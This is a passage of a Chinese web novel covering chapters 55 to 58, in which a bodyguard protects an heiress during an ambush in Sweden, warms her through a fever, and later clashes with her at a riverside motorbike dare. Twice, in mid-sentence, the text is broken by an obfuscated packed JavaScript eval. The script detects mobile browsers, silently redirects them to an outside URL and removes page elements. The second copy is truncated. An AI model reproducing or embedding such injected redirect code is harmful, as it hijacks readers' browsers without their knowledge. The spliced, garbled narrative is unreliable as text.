她张唇呵出白色的雾气在车窗上,又用纤指抹去,望着窗外说:“好像只有当又一次下雪的时候,才意识到时间过得真快啊。” 陈列循着她视线往窗外望去。 整形医院新院区为了占地面积妥协了地理位置,靠近城郊,距姜堇曾住过的城中村并不算远。 一条马路之隔,却隔绝了高端旖旎和贫穷赃污。 姜堇望着的那片城中村,被纵横的巷道一条条分割如棋盘。 七年前的雪天,曾有两个十八岁的少男少女为躲避追债、在里面牵着手狂奔。男孩摆荡的外套,女孩飞扬的长发,如果当时他们不那么赤贫、用一架飞行器载着镜头往下俯瞰的话—— 会发现那多像鸟的翅膀。 好像能带着他们起飞,飞往无数个美好的明天。 56. 谈恋爱 姜堇出发去机场。 这次去瑞典北部,是去参加当地土著民族拉普族的艺术展。 姜堇有些感冒,这次行程很赶,她并未要求主办方停下来买药。 陈列动过一瞬的念头。 转念却想:有必要吗?他又不是她的狗。 拉普族人的面庞与亚洲人肖似,穿红绿相间的特色民族服饰,仍以牧鹿为业。陈列发现姜堇每每参加的艺术展,往往保留着原始魅力,不知是艺术界的潮流如此,还是因为姜堇始终保留着三分野性。 艺术家们乘坐鹿拉雪橇时兴味盎然,意外却是这时发生的。 “咻——” 消音枪的声音闷在宴会厅屋顶下似红酒倾洒,在广袤室外混着风雪,听起来却似不隐人注意的一阵风。 姜堇的那架雪橇上只有她和陈列,在她反应过来之前,陈列已将她的头猛摁下去。 姜堇大脑还根本未来得及反应,身体却似出于某种习惯顺从地随陈列低头。鹿受了惊雪橇猛地一抖,车夫下意识挑车想拉住缰绳,鹿群却发了狂一般往前狂奔而去。 车夫被甩脱在一旁。 陈列一把攥住乱舞的缰绳,叫姜堇:“抓紧我。” 姜堇立刻牢牢抱住陈列的腰。 陈列的脊背很厚,身材是典型的倒三角,可腰抱在她纤细的臂膀里仍显得厚实。她这才发现陈列什么都会,他未见得会驯鹿,可他一定会驭马。 鹿群正俯冲的是一个雪道下坡,陈列不会逆着惯性硬叫它们停下,只是牢牢攥着缰绳把控方向,任那略为粗糙的缰绳在掌心磨出血痕。 等雪橇到了平整处,陈列沉声一喝:“跳。” 姜堇毫不犹豫侧身往雪橇边跃去。 陈列早已发现她受过基本的安全训练,陈列这时抱住她顺着惯性往外滚出几圈,卸去与雪地冲击的力道。陈列估计两人都无大碍,又沉声喝道:“跑。” 前方是密林,雪橇进不去,却是天然的掩蔽。 两人毫不犹豫朝密林狂奔而去。 陈列早知道每一次公开行程都有危险,滕氏大量财富积累伴随着激进手段,被传为下一任家主的滕二少更是如此。所谓“敲山震虎”,没人会直接动滕二少,那等于与滕氏彻底交恶。 滕柏仁的未婚妻成了最佳目标,双方角力的遮羞布。 两人往密林深处钻去。 陈列能听到身后仍有消音枪的声音,他边跑边脱下防弹背心抛给姜堇,毕竟姜堇出席活动时不能明目张胆穿着它。 姜堇也不废话,立刻穿好。陈列的躲避能力比她强得多,这时候不拖陈列后腿,才最大程度利于两人逃生。 陈列发现她是个很好的雇主,不说废话,极度配合,动作利落。 陈列的野外求生能力极强,能在漫天的树和雪间辨出方向来。天渐渐暗了,黑暗如浓雾般生出分明的颗粒感坠在身边。姜堇直到这时才问了句:“回头还是继续往前?” 这样的密林里不知是否有大型野兽。 陈列:“往前。” 他不确定身后是否安全。 他带着姜堇一路涉雪而行。依他的经验判断,这密林里有打猎的痕迹,顺着这方向一定有猎人临时休憩的小屋。 他赌对了。 眼前的确有一座小而坚固的木屋,在一片苍绿中露出头来。 陈列知道身后的人已被摆脱,只要不走回头路,应该没有被追击的危险。 他带着姜堇进屋,锁好门,环视一圈物资——木柴,能量棒,饮水,生活必须算是齐备。 他告诉姜堇:“你手机在这里没信号。夜里视野不佳,我会提前用卫星电话联系搜救队,惊天一早派直升机救我们出去。” 姜堇看起来很镇定:“好。” 陈列去壁炉里生火。 这里的一切都似比外界大一号,劈成半圆柱形的木柴比小臂粗。不太好的是这小屋看起来久无人来,大部分木柴生了潮,能用的寥寥无几。 陈列方法专业,到底是把火生了一圈。 两人刚在雪里滚了几圈又长途跋涉,外面是雪、里面是汗,早已浑身湿透。这里没有洗澡条件,可至少要把衣服烤干。 不然密林深夜温度下降极快,有失温风险。 陈列叫姜堇:“外套脱了。” 两人围坐壁炉边,把外套脱下来烤干。 陈列找到一些饮用水,烧热了,和姜堇一起用能量棒就着热水,充作晚餐。 类似蔓越莓的浆果口味,甜得发腻。姜堇一言不发将整条吃完。 外套烤干后要烤里层的衣物,陈列找了条床上的红绿格纹毯抛给姜堇,自己背过身去。 姜堇快速脱掉了所有衣物,包括内衣。 一阵窸窸窣窣的脱衣声响间,陈列望着自己投射在木墙的影子,随火光晃动。 这时顾不上什么干净,保暖最重要。姜堇用那条毯子把自己裹起来,披上外套,又叫陈列:“好了。” 陈列转过身来。他是男人,比姜堇方便,脱了衣服直接披上外套,两人继续围在壁炉边烤干。 陈列:“木柴不多了。” 姜堇:“嗯。” 手里的衣物刚微微散出潮气,壁炉里的火便熄了。 陈列:“直接睡吧。” 熬到明早就好。 屋内只有一张松木拼成的小小木板床。姜堇爬上去,用毯子牢牢裹住自己,又把已烤干的外套搭在外层。 另有一张鹿皮毯,陈列当成自己的床,睡在姜堇床下。 小木屋里是一种绝对意义的黑,和寂。 在现代化的繁荣都市里是绝不会有这般体验的。这里远离灯光,远离人烟,甚至远离现代文明。 人躺在这里,平白生出一种赤身裸体之感——精神上的。 姜堇对墙侧躺,陈列对壁炉侧躺。两人一个床上一个床下,背对背。 姜堇问:“会有野兽么?” 陈列:“不会过来。” 姜堇:“嗯。” 一阵风雪拽着松林哭嚎的声音,当姜堇迷迷糊糊快要睡着的时候,陈列开口:“真不怕死?” 姜堇低低地笑了声。 “我总觉得,我这样的人,”她说:“阿堇,野花,命硬,老天没那么容易收了我。” 她又问陈列:“你呢?你一直当保镖,又怕不怕死?” “不怕。” “为什么?” 陈列侧躺了许久,这样完全意义的黑寂里连壁炉的轮廓都看不清。他发现自己心里冒出一句无比文艺的话:因为我不知道为什么而活。 他一度燃起过希望。想开公司,想爱人,想拥有不再像臭虫般沦陷在阴沟里的生活。 后来很多年里,他又变得得过且过起来。 他没回答姜堇的问题,反而说:“不过,现在又怕死了。” 姜堇又问:“为什么?” “因为活着有了想做的事。” “是什么?” 陈列低低地说:“离开你。” 一阵漫长的沉默,沉默到木窗外的风好似裹走了整个冬天,变得万籁俱寂,他们深陷于一片没有季节没有时序的真空里。 姜堇很轻地笑了声。 她忽地问陈列:“喜欢过什么人吗?过去七年里。” “不关你的事。” “就是闲聊啊。”她的声音很低缓,蒙覆着朦胧睡意,听上去透着慵懒:“不然在这样的地方睡着,总在想会不会就醒不过来了。” 她问陈列:“离开我之后想做什么?” 陈列:“谈恋爱。” 他知道自己在盯着壁炉,眼底什么都瞧不清,只感到木柴尚未散尽的残存热意,却越来越稀薄。 他想着在暗室那晚,听见隔壁主卧里依稀是姜堇的呻吟,穿着那样的睡衣……陈列仍想一拳砸在木地板上。 他控制着自己的呼吸,声音沉郁地又说了一遍:“离开你,去谈恋爱。” 姜堇穿着一袭黑衣,完成了她对自己尊严的祭奠。 陈列想,他也该走出来了。七年,她已成了别人的未婚妻,他竟夜夜睡在她隔壁听她的情事,这有多荒唐? 再走不出来,他只有死掉。 他必须走出来,或许不再当保镖。去开公司,去谈恋爱,去生活。 “挺好的。”姜堇听起来昏沉沉的:“你很幸运。” “什么意思?” “有时候我会想……”姜堇打了呵欠:“陈先生,你会爱上一个什么类型的姑娘?如果真有这么个姑娘的话,你很幸运,你还有爱一个人的能力。” “你没有吗?”陈列想,可你分明已经订婚了,你不爱你的未婚夫吗? “我?”姜堇一声反问像从鼻腔里哼出来的,沉沉地笑着。 陈列意识到不对。 他从地板上爬起来,伸手去探姜堇的额。 妈的……陈列立刻深蹙了下眉。 姜堇的额滚烫。 当时让主办方去给姜堇买药就好了,要是陈列早知道这记回旋镖会砸在他自己头上的话。 他晃一晃姜堇的肩,让姜堇清醒些:“你是热还是冷?” “冷。”姜堇迷迷糊糊地答。 陈列立刻穿上自己尚未烤干的贴身衣物,把自己的外套连同那条过分沉重的鹿皮毯覆在了姜堇身上。 姜堇的呼吸很沉,整个人在剧烈发抖,齿关嗑嗑地叩,陈列都怕她咬到自己的舌头。 他着单衣去屋外转了圈,想看是否有一丝可能窝棚里尚有能用的木柴。但在这样的风雪天气里,绝无可能。 陈列回到屋内,几乎是抵着风雪关了门。 他没有再犹豫,果断上了床。 失温几乎是野外夺取人性命的最大凶手。眼前有一个发着高烧即将失温的人,任何一个有野外经验之人唯一的选择,便是以自己的体温尽量温暖她。 这人是谁都行。 但这人偏偏是姜堇。 他钻进毯子,从背后抱住了姜堇。 姜堇不能穿尚未烤干的贴身衣物,毯子里皮肤是裸的。她额头滚烫,身上却似寒冰,在触到陈列那尚且湿着的贴身衣物,冷得一激灵,下意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650709|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识想挣脱陈列的怀抱。 陈列一咬牙,只得把贴身的衣物脱了。 两人赤裸的皮肤相触。 陈列是个年轻健硕的男人,常年健身,体温本就比平常人高些。他一抱住姜堇,姜堇几乎下意识就想往他怀里钻来。 “别动。”他牢牢箍住她不让她转身,只让她背对着自己。 这样的姿势已经够过分了。 姜堇蜷成一个婴儿在子宫里的姿势,弓着背紧贴着陈列厚实的胸膛,像把自己嵌进陈列的怀里。大概陈列的皮肤干燥而温暖,她脊骨一下下轻蹭着陈列,像某种小动物。 陈列双臂铁钳似的紧箍着她,随她挪动竟不小心触到她某处的柔软。 立刻触电般撤开。 无论陈列如果告诉自己这是危险的极端情况,无论他的理智有多清醒。 但姜堇的动作仍是让他起了某种本能反应。 姜堇大概感觉到了,蹙着眉说不清是想逃离,还是想与陈列贴得更紧。 “别动。”陈列低喝道。 不,他的理智也并不清醒。 理智被生理本能的冲击让他自己都意识到了某种危险。他伸出一只手捏住姜堇的下巴,声音沉郁地又说一次:“不准再动。” 齿根咬着,像在用尽意志力压抑某种难耐的欲望。 姜堇意识浑然不清,却似直接到某种近似野兽般危险的气息。她动的幅度小了些,只是紧紧蜷进陈列怀里。 她的齿关一直嗑嗑叩着,几次好险已咬到舌头。陈列把食指伸进她嘴里,替她抵着。 姜堇的唇那般柔软,含着灼热吐息。 似他七年前热吻过的那般一样。 姜堇含住他手指,含糊不清地说了句什么。 陈列没听清,以为她说哪里难受,凑近了些去听。 却听她在发烧意识模糊的时候喃喃低唤:“陈列……” 语调一如七年前。 陈列阖上眼。 他真的快疯了。 - 等姜堇体温稍接近正常,陈列立刻从床上起身。 姜堇醒来时,陈列已穿好了全部衣物,用卫星电话与搜救队通话。 挂了电话问姜堇:“能起来么?” “能。” “那收拾一下,直升机很快过来接我们。” 姜堇也不多话,陈列背过身去,她开始穿衣服。贴身衣服阴干了一夜仍是潮漉漉的,不过穿上飞机就好,没有大碍。 姜堇头昏沉沉的,跟着陈列去登机。 飞机上,两人谁都没提昨晚的事。 陈列戴着隔音耳罩,仍是警惕地望着足底密林。唇角抿着,因而显得下巴线条紧绷,他沉默时真的很像伏击的野兽。 从瑞典飞回江城,滕柏仁知道了这宗意外,亲自前来接机。 两人在滕柏仁的库里南上,当着司机也没说什么。 直到回了主卧,姜堇笑着、背倚着梳妆台站着。 滕柏仁的轮椅在床边:“站那么远做什么?” “我感冒还没痊愈,别传染给你。”姜堇抱着手臂,仍是笑。 滕柏仁从床头保险箱内,取出一只丝绒盒。 打开来,内呈一条钻石和祖母绿宝石嵌成的项链,中间是别出心裁的不对称设计。 滕柏仁:“你应得的。” “谢了。”姜堇挑唇:“合作愉快。” 滕氏少夫人的位置,又哪里是人人坐得起。真正愿意拿命搏更多荣华的富家千金,又有几人。 “你真不害怕?”滕柏仁细细打量她。 姜堇把玩那条钻石项链像是把玩一串石头:“我们的合约还有不到一年,我命硬,撑得过。” 滕柏仁笑了:“难怪我当年挑中你。” 姜堇摇摇头:“你挑中我,不是因为看出我胆子大,是因为我像她。” 滕柏仁立刻一巴掌狠落在她脸上。 “合约还有不到一年……”滕柏仁阴鸷地盯着她:“你就胆子大到能提起她了?我警告你,能提起我亲爱的姐姐的人,只有我,你不配。” “还有,”滕柏仁操控轮椅在她身边兜一圈:“你知道相处得越久,我越觉得你不像她了吗?” 姜堇带着一脸的指印,仍是在笑。 这是她的一次试探。 以她的敏锐,当然能感觉到滕柏仁对她的变化。 从前的滕柏仁从不碰她,只是给她试穿不同的礼服、试戴不同的华贵项链,去追祭他记忆中美丽的、高贵的、他可望不可及的姐姐。 从什么时候开始,滕柏仁开始若有似无地触碰她了?甚至上次给她试穿的不再是礼服而是丝缎睡裙,此时已洗净了、就挂在他身后的衣架上。 他当然未曾对她行男女之事,可这是一个值得警惕的信号。 今天她果然亲耳听见他说、觉得她没那么像他尊敬的姐姐了。 如果滕柏仁把她当成一个女人来看…… 姜堇手里把玩着那串石头,心想:那就危险了。 她敢于拿命去搏前程,可她不想卖了自己。 57. 圣诞节 回到江城一周后,陈列才有机会私下跟姜堇说话。 那时姜堇参加一个晚宴。 在江畔,与市里合作的文旅项目,申请下来了燃放烟花的权利。已近跨年,江边挤满了来看烟花的人,摩肩继踵,有父亲把自己不过几岁的小女儿顶在肩头,望着此刻如墨漆黑的江面。 姜堇则在楼上。 半弧的欧式露台雕着寓意深远的圣经旧约门徒雕像,又通过哥特式飞扶壁巧妙相连,使这里显得既神圣又奢阔。 这里是最佳观景位,宾客个个衣香鬓影。譬如姜堇,她穿一件月白流光的晚礼服,轻薄贴着她身段,斜斜露出半边白腻肩膀,一条白狐毫的披肩罩在那里,随风挥舞的狐毫掩住她那巴掌大的面孔。 她一手扶着白色大理石的围栏,一手端杯热红酒,不似江边人群挤来挤去要争个好位置,反而闲闲等着烟花开始。 陈列站在她身后。 当第一朵苦鹊蓝烟花在天空迸开,映进姜堇的眼底。 她仰起俏丽的下巴去看,那一刻她在想些什么? 会想她自己的命运也如烟花么? 烟花接连迸绽如落入江面的流光瀑布,不惜成本,奇景让围观的人群们欢呼阵阵。陈列确信这般的喧嚷足够掩盖窃听器后,在姜堇身后低低地说:“我想提前辞职。” 姜堇起先静静地望着烟花,尔后笑了声。 陈列以为她会装傻。 她却径直道:“如果是为那晚的事,没必要。谁都明白那是极端情况,我们问心无愧就好。” 又一朵赤炎朱色烟花在江面迸开,升空、升空,向着无限高远的苍穹。当所有人以为它会溅落更为盛大的华丽,它却悄无声息泯灭在了云层中。 陈列站在姜堇身后,良久。 “可是我问心有愧。”他说。 姜堇扶着铅白围栏的指尖轻摩了下。 “半年后吧,陈列。”她说:“给我至多半年的时间就好。” - 李黎的崩溃不在于举家搬进了奶奶的小院,她甚至没有自己的房间,只能睡在客厅的沙发。 她的崩溃在于这天闲来无事刷手机,发现以前相熟的奢侈品柜姐们都把她删了。 一贯的踩高捧低,却逼得这境遇的李黎闷闷尖叫一声。 奶奶拎着浇花的水壶路过,睨她一眼:“吵什么?觉得不舒服就自己搬出去啊。” 明显不过的嫌弃语气。 想想也是,老人家本来在市郊的小院里清清静静养老,哪成想儿子一家三口都搬了进来。 李黎不敢顶嘴,毕竟她现在可没有闲钱搬出去,怨愤地盯老人家一眼。 又百无聊赖躺倒在沙发上,裹着被子刷手机。 她偏要找到那些柜姐的小red书账号,揪住她们的漏洞一个个举报让她们炸号! 顺藤摸瓜找到一位柜姐的账号。这位与她可是高中就开始的交情了,竟也把她删了。 柜姐很有互联网头脑,开了个人账号,讲她这么些年遇到的或奇葩或印象深刻的客人。 流量还挺不错。 李黎一篇篇的翻下去。 翻到今年夏天的一篇,她眸光定了定—— 柜姐写到:[这位客人也不知是不是该说奇葩。我清楚地记得她是因为她长得太漂亮,我甚至记得那是七年前的圣诞节前后。] [她穿一身校服,和一个同样穿校服的男生来店里。脚上一双我们店限量版的鞋,可我看她的样子,分明是买不起的,她把我们店的鞋都试了一圈,什么都没买就走了。] 最后柜姐还升华了一下,告诫各位年轻人:[奢侈品不是必需品,不要太虚荣。] 下面有人评论:[有多漂亮?] 柜姐回复:[至少是我见过素人中最漂亮的。一双眼微微往上挑,说不上像鹿还是狐狸,又冷又媚。] 又有其他人评论:[这么漂亮没进演艺圈?] 柜姐回复:[我还真关注过,每新冒出一个小花我就去看看是不是她,可惜不是。说不定人家早嫁豪门了呢?啊对了,港岛那个特有名的珠宝设计师姜雪照,跟她就很像。] 还有人对男生感兴趣:[有多帅啊?] 柜姐回复:[反奶油小生的帅,寸头,个子很高,长得也不能说凶吧,但是不爱笑,挺有味道的。两人一起走进来,跟拍海报似的。] 这条被点赞许多,好多人刷口水表亲包。 李黎一下子坐直了。 原本搭在身上的被子滑落在地,奶奶浇完花走回来,叱骂她:“被子弄脏了你洗啊?” 李黎不耐烦地把被子拎起来。她现在哪还有空管什么被子? 她好像发现了一件不得了的事。 - 李黎把人脉用尽在跟陈列接上头这件事上。 毕竟现在肯搭理她的人不多了,混入滕氏酒店花了她好大一番功夫。 还是找到她小学同学,跟人笑言:“我现在想做自媒体啊,就想看看这光鲜亮丽的酒店背后什么样。” 她在员工餐厅堵住陈列。 “长话短说。”她问陈列:“她到底是不是姜堇?” 陈列看着她。 “你当年跟她有来往,对吧?在学校里却装得不认识一样。”李黎盯着陈列:“现在她嫁入豪门,你却混成一个小保镖,差距有点大啊?她就没拉你一把?” “不如你跟我合作。”李黎现下狗急跳墙,话说得分外直接:“只要你作证她是姜堇,姜启川就会重新投资我爸的医院,我给你的待遇,一定比姜堇好得多。” “李小姐,我听不懂你在讲什么。”陈列已往前走去。 一身素黑的西装西裤,修长双腿,腰肌极具收缩形成典型的倒三角身材。 “陈列!”李黎不忿起来:“你这样的人,就甘心在姜堇身边当一条狗么?!” 陈列没有回头,径直离开。 - 姜堇约见过两次姜启川,谈判进行得很顺利。 陈列听滕柏仁跟姜堇聊过这件事:“这是跟港岛市政合作的项目,不能出岔子。” “知道。”姜堇把玩着一只玛德琳旁的甜品叉,笑得轻曼。 那天是圣诞节。 接下来她要陪滕柏仁出席一个晚宴,难得穿一袭红裙,鸽雪一般发暗的红,很有质感的丝绒缎料。她对首饰的运用永远都别出心裁,譬如她很爱在左眼下贴一枚宝石。 今天是一枚切面繁复的红宝,晚宴上流光溢彩的灯光一反射,似一滴闪闪发光的眼泪。 可她笑得几近张扬。 陈列怀疑她喝多了金酒,因为她入舞池跳舞时手里还端着一杯。双颊未涂胭脂,因酒气和热气熏蒸出一阵玫瑰红。 旖旎又瑰丽。 她甚至拉着陈列入舞池去跳排舞,舞伴一轮轮换。换到陈列与她对舞时,她醉得更厉害,适时平安夜的午夜钟声敲响,漫天礼花纸屑如雪片飘落,落进她的酒杯里。 她高举着酒杯跟众人一起大喊:“MerryChristmas!” 又笑着与陈列对舞。 陈列是会跳简单舞曲的。毕竟他是保镖,偶尔需要掩藏身份。滕柏仁坐在舞池旁的轮椅上,端一杯威士忌,拇指在杯口沿摩挲着,目光始终落在姜堇和陈列身上。 那样的目光……陈列背对着他,也觉得自己脊骨发寒。 姜堇笑着用粤语点评陈列:“好劲啊,陈生。” 陈列借着踢踢踏踏的舞步喧嚷,只用普通话答她:“你也不怕他杀了我。” 姜堇带着几分醉意,睁着双潋滟的眼看陈列:“有时我真恨不得,他杀了你算了。” 一句话说得陈列兀自心惊,又有心惊之外的某种难抑心跳。 原来他的存在,也会让他烦扰么? 姜堇已轮换到下一个舞伴,伸出纤细的指尖去戳人家的胸肌,笑得张狂又轻佻。 - 在当地做生意,打点人际是最重要的一环。 除了各位阔太太,还有各家子女。比如圣诞节前后,姜堇代表滕柏仁,出席了好几场国际学校的圣诞活动。 唱诗班,话剧社。活动丰富得不一而足。 比如今天姜堇参加的,就是某家小女儿学校的话剧表演。 陈列未曾想到现在的小孩这般成熟,不过初中,表演的竟不是童话或圣经故事,而是将尼采《善恶的彼岸》中的哲思,编了出三幕剧,用英语表演。 当最著名那句“与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视”映在背景幕布上,全场掌声雷动。 陈列回想自己的中学时代。 为了躲债,起先尚能维持正常的校园生活,后来缺课的时间越来越多,成月成月的不能去学校,最后甚至躲去了江城的破船里。 和这些孩子的生活,又是迥然不同了。 话剧演完后姜堇去交际,一群权贵家的女儿,来看弟妹的表演看得兴趣缺缺。 叫姜堇:“姜小姐,你也无聊死了吧?我们去醒醒神。” 姜堇笑着应允:“好。” 她了解这些二十上下小姑娘的花头。无非是跳舞,喝酒,胆大些的找一些暧昧的舞伴,或者一个电话把自己捧的小男星叫来。 这一次,姜堇跟着她们的车,却是往江边驶去。 姜堇摔上车门下车,裹紧自己的羊绒大衣。 江畔的空气总是冷冽清寒些,带某种水生植物的微微星期。姜堇到江城后一次也没回过臭水河边,只是此时冬夜的冷空气,总让她想起那条与江相连的臭水河。 江边码头,这样的深冬是无人来的。 一群年轻女孩聚在那里,码头停着数辆机车。 她们穿皮夹克,蹬及膝的马靴,做卷的长发下有各色挑染,一看就正值叛逆年纪。姜堇一身白色优雅裙装,乌浓长发披肩,看起来与她们格格不入。 有女孩嚼着口香糖问:“姜小姐,会骑机车吗?” 排外是人的天性。她们尚未学会父辈生意场上的圆滑,总想着给人一记下马威。 姜堇挑唇问:“怎么玩?” 女孩笑得饶有兴味起来,指指远处江面的那条线:“谁敢骑得更靠近谁就赢咯。怎么姜小姐你没玩过吗?” 她又在姜堇周身打量一圈:“不过姜小姐这身装扮,可不适合骑车。” 她认定姜堇是过分规驯的豪门媳妇,乖乖牌,言辞间充满不屑。 姜堇弯一弯唇,走到陈列身边去。 含笑潋滟的眼扫过陈列,纤白的手指在陈列衬衫领口一点,抽走了陈列的领带,叫陈列:“脱衣服。” “?”陈列微一蹙眉。 “我裙子太短了,借你西装用一用。” 陈列脱掉西装,直接把大衣罩在白衬衫上,原本隐约的肌肉线条透过衬衫明晰起来,惹得几个女孩看了好几眼。 姜堇脱了大衣抛给陈列,把陈列的西装往腰间一系,向一辆黑色机车走去。 她蹬了高跟鞋,跨坐上去,把陈列的领带咬在齿间,扬起双臂将脑后长发高高的拢成一束,拿陈列的领带绕过几圈,最后紧紧系一个结。 冲女孩笑道:“来吧。” 女孩轻哼一声,在机车上俯低的姿态看起来是个老手。 两辆机车一黑一红,箭矢般地冲了出去。 车速越来越快,风撩动着姜堇的长发,向着江岸线飞驰而去。陈列有时候觉得她是疯子,她看起来真有种不怕死的感觉,红唇边甚至甚至勾着一抹笑意。 又或者以前的姜堇早已在七年前的暴雨夜,随着她的尊严一起死掉了。 当江岸线近在眼前、甚至那股水生植物的腥气越来越明显时。 “靠。”女孩低低地骂一声,一脚撑地紧急制动。 姜堇这才捏下刹车,仍是在笑。马尾被陈列的领带高束在脑后,随夜风摆荡。 “这才第一局。”女孩跨下机车:“换人换人。” “换谁?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他穿在身上的西装有她刚刚系在腰间的褶皱,这让他显得更为落拓不羁。人人觉得他像豹,姜堇却从高中开始,觉得他更像一只鹤。 一只被囚的鹤。 机车载着他冲出去时,似一道凌厉将要划破苍穹。 陈列挑一挑眉想:玩玩。 他当保镖时太习惯周全沉肃了,甚至早已忘了这种放肆的感觉。记忆里最后一次这样的体验,总觉得是七年前的初雪、和姜堇牵着手在城中村的巷道里狂奔。 冷冽的风灌入喉管,连肺腔都在发痛。心脏随有人追击而剧烈狂跳,那样肾上腺素飙升的感觉好似没有没明天。 也不在意明天。 江岸线越来越近。陈列忽然想:他可曾有一次想过死亡么? 想过结束逃亡、躲债、像臭虫般活着的这一切么?风刮擦着他的眼底,他甚至能想象他骑的机车飞出江岸线去,在江面划出一道自由的抛物线。 身边那位早已由女孩叫停。 可陈列越骑越快,心里想着那道自由的抛物线。 直到姜堇在身后喊:“停。” 陈列充耳不闻。 江岸线近在眼前。 陈列听见姜堇的声音远远传来:“陈列!我他妈叫你停下!” 陈列陡然捏住刹车,大口地喘息着,前轮已堪堪越过码头的边线。 江波在眼前荡漾。刚刚那一程,他在想什么? 他骑着机车回去,远远看见姜堇站在栈道的另一头,风拂着她长发挡住面孔,让人看不清她面上的神情。 陈列跨下车,往她那边走去,从口袋里摸出一根烟衔在唇间,手半拢住点着火。不知为何,他这一刻抽烟的渴望难以抑制。 他咬着烟往姜堇那边走,半垂眼眸,猩红的烟头在他唇边明明灭灭。风拂着他西装下摆,这一路他走得挺酷。 走到姜堇面前,从她脚边捡起自己的呢子大衣,抖了抖。 姜堇一直看着他,脸上的神情很平静。 直到他把大衣披上肩,姜堇把他的领带甩到他胸膛上,然后结结实实给了他一耳光。 陈列被她打得头偏向一边。他当然经历过更严重的暴力,她是个纤瘦的女人,手劲不算大,只是一阵冷香扑在他面上。 印出几道鲜明的指印。 他咬紧了唇间的烟,眼尾朝她睨过来。 她脸上的神情丝毫没笑意:“我让你停下,你他妈是不是聋了?” 说完掉头就走。 旁边几个女孩起哄笑道:“啊呀啊呀,自家的狗不听话了,是要教训的。” 陈列看也没朝旁边看一眼,穿好大衣后把烟夹在指间,一手拎着姜堇抛还给他的那条黑领带,另一手闲散地夹着烟,江风往后扬起他长款的大衣,那姿态潇洒又落拓 有女生望着他背影:“姜雪照这保镖够帅的,是吧?” “你们猜他们睡过没有?” “谁知道。”说这话的是李黎,带着讥诮笑意:“滕二少的腿那个样子,说不定就是不行。她年纪这么轻。” 另一边,码头上的风卷着姜堇的长发狂舞,也呼呼地掩盖了窃听器的存在。 “赢了还打我?”陈列的声音在姜堇身后响起。 姜堇本来踩着高跟鞋蹬蹬蹬地往前走,闻言转过来盯着陈列,又一次高高扬起手。 陈列一把攥住她纤细手腕。 “打上瘾了?”他说这话时咬着烟,被烟雾熏得微眯着眼,攥她手腕的力道没在客气。 “你刚才到底在想什么?” “没想什么。”他甩开姜堇的手腕,头一次越过姜堇往前走去。 姜堇跟在他身后:“你真想死?” “我真死了你在意么?”陈列头也不回地问。 “当然。” 陈列脚步顿滞,扭回头睨她一眼。 姜堇越过陈列往劳斯莱斯走去。 “陈列,你给我好好活着。”她凉薄的声线被江风吹来,又带着某种哀伤:“七年前的我已经死了。至少我们中得有一个人活下来,看着我做到这一切。” 58. 从未想过 酒店总统套房内,滕柏仁饶有兴致,盯着陈列侧颊的指印。 他问姜堇:“听说你发火了?” “嗯。”姜堇平静地抿一口红茶,把乳瓷阔口茶杯放回托盘内:“我讨厌不听话的。” 也许她说起这句话的语调像说起一条狗,滕柏仁笑了。 他带着那股沉郁的笑意看向陈列:“雪照是你的主人,对吧?不能惹主人生气。” 姜堇又与姜启川面谈了几次。 这一次摊子铺得大,几乎大半副身家搭进去,姜启川异常谨慎。 姜堇的方案提得却激进,高风险高收益。 姜启川沉吟道:“姜小姐,你容我考虑考虑。” “好啊。”姜堇站起来微笑起身告辞,一点逼迫他的意思都没有。 回酒店的车上,姜堇忽地看向陈列:“我知道你想什么。你觉得他一定不会同意,是吧?” 陈列的确这么觉得。 他脑筋灵光,粗略算一算也知这局风险超过姜启川的承受范畴。 姜堇笑一笑不语,望着车窗外满街的喜庆布置:“今天是跨年夜呢。就快要过年了。” 姜启川在办公室接到姜太太的电话:“启川,早些下班,我们今天要回家。” “知道。”姜启川烦躁地扯松领带。 这里姜太太提及的“家”,指的是她娘家。 姜启川提前从公司离开,车后备箱里大小礼品,一应是姜太太提前备好的。由司机拎到院落门口,交由姜启川手里,再由姜启川亲自拎进去。 “回来了?”姜家老爷子嘴里这样招呼着,手中却只管捏着遥控器看球赛,坐在沙发上根本没动弹一下。 姜启川心里老大不痛快。 是,诚然他姜家是败落了,他接管了老婆娘家的公司。可如今的蒸蒸日上,不靠他的苦心经营有可能吗?老爷子还胆敢摆脸色给他看? 饭桌上,岳母拿话点他:“启川,听说你们那圈子里乱得很,人人找小。你跟他们可不一样,你是靠我们家养活的。” “你要是对囡囡不好……”岳母慢条斯理吃一筷鱼:“我们随时踢你出公司的呀。” 姜启川赔着笑脸:“妈,您话说到哪里去了。” 心里的不痛快更甚,灌下整杯黄酒去。 说白了,他跟老婆娘家的关系,他觉得只是借了他们的启动资金。偏偏法务上他又吃了这一头的亏,如若不早些赚笔大的自立门户,永远受他们掣肘。 尤其每到过年,家族聚会多,时不时要来听他们这些风凉话。 姜启川陪完了晚饭,自顾自地出门去。 姜太太追至庭院里来:“启川你去哪?爸妈他们要不高兴的。” 姜启川心里冷哼一声: 他还管他们高不高兴? 他自往他的酒吧里去。 岳母点他的话不对,他早年间找过情人,一个戏子而已,那个疯女人竟不知天高地厚地爱上他,偷偷给他生出个女儿来,给他找了好多的麻烦。 现在他学乖了。找什么情人?都不如一夜风流。 今夜他来的酒吧,是许多同他一般想法男人的“俱乐部”。能出现这里的女郎可一点不见低俗,个个穿优雅的奢牌套装,会说两国以上语言,立刻拉去高雅晚宴当女伴,也是拿得出手的。 姜启川却私下里觉得她们个个不够劲。 他喜欢媚的。 眼尾吊起来,像只小狐狸。媚到骨子里,让人骨头都发酥。 他百无聊赖地喝着冰威士忌,忽然有人一撞他胳膊,语调带着调笑:“老姜,看。” 姜启川睨过去。 